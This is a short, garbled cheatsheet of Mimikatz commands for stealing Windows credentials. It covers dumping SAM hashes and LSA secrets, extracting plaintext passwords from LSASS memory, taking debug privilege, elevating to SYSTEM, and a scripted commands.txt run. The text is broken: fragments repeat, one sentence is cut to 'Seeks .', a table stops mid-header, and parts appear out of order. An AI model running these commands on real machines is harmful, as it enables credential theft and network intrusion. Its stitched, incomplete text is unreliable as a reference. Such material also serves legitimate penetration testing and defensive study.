Mimikatz Cheatsheet Work -
| Command | Purpose | | :--- | :--- | | lsadump::sam | Dumps local SAM hashes (NTLM) from the registry. | | lsadump::sam /sam:FILE /system:FILE | Dump SAM from saved hive files (offline). | | lsadump::secrets | Dumps secrets from the SECURITY registry (e.g., cached domain logons). | Simulate a domain controller to request password hashes for any user.
echo privilege::debug >> commands.txt echo sekurlsa::logonpasswords >> commands.txt echo exit >> commands.txt mimikatz.exe ""script:commands.txt"" If you are defending a network, you must assume Mimikatz will be used. mimikatz cheatsheet
| Command | Purpose | | :--- | :--- | | mimikatz.exe | Launch the tool (interactive mode). | | mimikatz # privilege::debug | Seeks . This is the "master key" to interact with LSASS. | | mimikatz # token::elevate | Elevates to SYSTEM account (often needed for LSASS access). | | mimikatz # exit | Exit the Mimikatz console. | | Command | Purpose | | :--- |
Mimikatz is arguably the most powerful and infamous post-exploitation tool ever created. Developed by Benjamin Delpy (@gentilkiwi), it allows security professionals to extract plaintext passwords, hashes, PINs, and Kerberos tickets directly from Windows memory. | Simulate a domain controller to request password
mimikatz.exe "privilege::debug" "token::elevate" "exit" 1. Grab Passwords from LSASS Memory (sekurlsa) This is the classic "pass-the-hash" or "pass-the-password" attack.